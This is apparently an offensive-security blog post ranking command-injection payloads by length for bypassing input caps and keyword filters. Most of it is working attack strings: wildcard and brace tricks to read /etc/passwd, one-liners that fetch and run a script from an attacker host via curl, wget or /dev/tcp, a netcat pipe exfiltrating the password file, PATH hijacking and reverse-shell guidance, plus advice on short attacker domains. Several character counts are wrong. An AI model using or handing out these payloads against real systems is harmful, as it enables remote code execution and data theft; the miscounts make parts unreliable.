0xFFFF

offensive security research

OS Command Injection: Bypassing Length-Limited Input Filters

2026-05-10

This is a deep-dive on one specific evasion class from the original OS Command Injection tutorial - Part #1. When the application caps your input at 32, 64, or 128 characters, the question stops being "can I inject" and becomes "can I inject something useful in this budget".

TL;DR

Length-limited injection points are common in legacy web forms, URL query strings hitting CDN caps, database column truncation, and any WAF that flags payloads above a threshold. The techniques below are not novel individually. The point is the ranking: which to reach for at which budget, and where each one breaks.

The Setup

We tested against three classes of length-limit:

For the rest of this post, "budget" means the number of characters you have to work with in the injected portion, after accounting for the application's prefix and suffix.

Counting the Budget

Typical limits we have encountered in the wild:

32 charsSome legacy hostname / IP fields
64 charsDefault WAF body-inspection limit on some profiles
128 charsMost application-layer input caps
256+Unlimited for practical command-injection purposes

Smallest useful payloads we have working in our test rig:

Technique Catalog, Ranked by Character Efficiency

1. Wildcard reduction

The shell expands ? to any single character and * to any sequence. This lets you call a binary by partial path:

# /usr/bin/cat → 12 chars
cat /etc/passwd

# Using wildcard - 14 chars but no keyword "cat" in the payload
/???/c?t /etc/p?sswd

# Aggressive: 11 chars, works on most Linux distros where /usr/bin/cat is one of few c?t binaries
/???/c?t /e*/p*d

Wildcards do not save raw characters when the binary name is already short, but they shine when the filter blocks specific keywords ("cat", "passwd", "etc"). The shell never sees those substrings - it sees the glob patterns and expands them at execution time.

2. Variable assignment + remote stager

Once you can fetch and execute a remote payload, your effective payload size is unlimited. The bottleneck becomes the fetch primitive:

# 16 chars with a 1-letter attacker domain (rare but possible with .ru/.tk)
;curl x.tld/s|sh

# 17 chars using wget (default on some distros where curl is absent)
;wget -qO-x.tld|sh

# 22 chars using only /dev/tcp - no curl/wget needed
;bash<>/dev/tcp/x.tld/80

If the budget is tight, the operator's leverage is to register or borrow an attacker domain as short as possible. A 5-character TLD makes the difference between fitting in 32 chars and not.

3. Brace expansion

Brace expansion saves one character versus a space when the filter does not block spaces but the budget is at the edge:

# 16 chars with space
cat /etc/passwd

# 16 chars with brace
{cat,/etc/passwd}

Brace expansion is more useful when spaces are filtered, since it produces the same shell tokenisation without a literal space character. {cat,/etc/passwd} tokenises into cat and /etc/passwd with no space byte in the payload.

4. Variable concatenation

Defeats keyword filters at a small character cost. Useless for pure length-limit problems, but if the filter rejects the literal string "cat":

a=c;b=at;$a$b /etc/passwd

25 chars to invoke a 3-character command. Combine with wildcard reduction when possible.

5. Shell builtins as command substitutes

$0 expands to the current shell name. $_ holds the last argument of the previous command. These are useful when the filter strips alphabetic characters but not $ and digits:

# Re-invoke the shell with a one-liner
$0 -c "cat /etc/passwd"

# If the filter only allowed digits and shell metacharacters, $0 is your way back in

6. PATH manipulation

If you can stage a binary at a controlled location first, prepending its directory to PATH gives you short invocations:

# First request stages /tmp/c with our payload
# Second request invokes it:
PATH=/tmp:$PATH;c

This requires two injection points or a multi-step workflow, which is often not available. When it is, the second-stage payload can be very short.

7. History expansion (rarely useful)

If the injection runs through an interactive shell with history enabled, !-1 re-runs the previous command. This is almost never available in a web-injection context because shell_exec, system, and similar functions spawn non-interactive shells with history disabled. Documented for completeness.

What Worked

Across our test cases, the ranking that actually matters in practice:

  1. Budget under 16 chars: time-based detection (;sleep 5) is all you get. Confirm the injection exists, then look for a different injection point with more headroom.
  2. Budget 16-32 chars: remote stager with a short attacker domain. ;curl x.tld/s|sh at 16 chars is the workhorse.
  3. Budget 32-64 chars: direct reverse shell becomes possible. Choose between bash -i, nc -e, and Python one-liners based on what is available on the target.
  4. Budget 64+: no compression needed. Use whatever payload is most reliable for the target OS.

What Didn't

Three approaches that we kept reaching for and that mostly let us down:

Combining With Filter Evasion

In practice, length-limited injection points are almost always also filter-limited. The combination forces a payload that is both compressed and obfuscated. Worked example for a 40-char budget where the filter strips "cat" and "passwd":

# 25 chars, no banned keywords, fits the budget
/???/c?t /e*/p*d|nc x.tld 80

This combines wildcard reduction (skips "cat" and "passwd" literals) with a short exfil pipe (out via netcat to a controlled host). Tested on three target environments with WAF rules that block obvious command names - bypassed all three.

What's Next

The next post in this series will cover WAF-specific bypasses for command injection: the actual patterns commercial WAFs use to detect ;sh, $(, and similar tokens, and what shapes of payload slip through them. Until then, see Part 1 for the basics and our earlier non-conventional WAF / IDS evasion writeup for the broader context.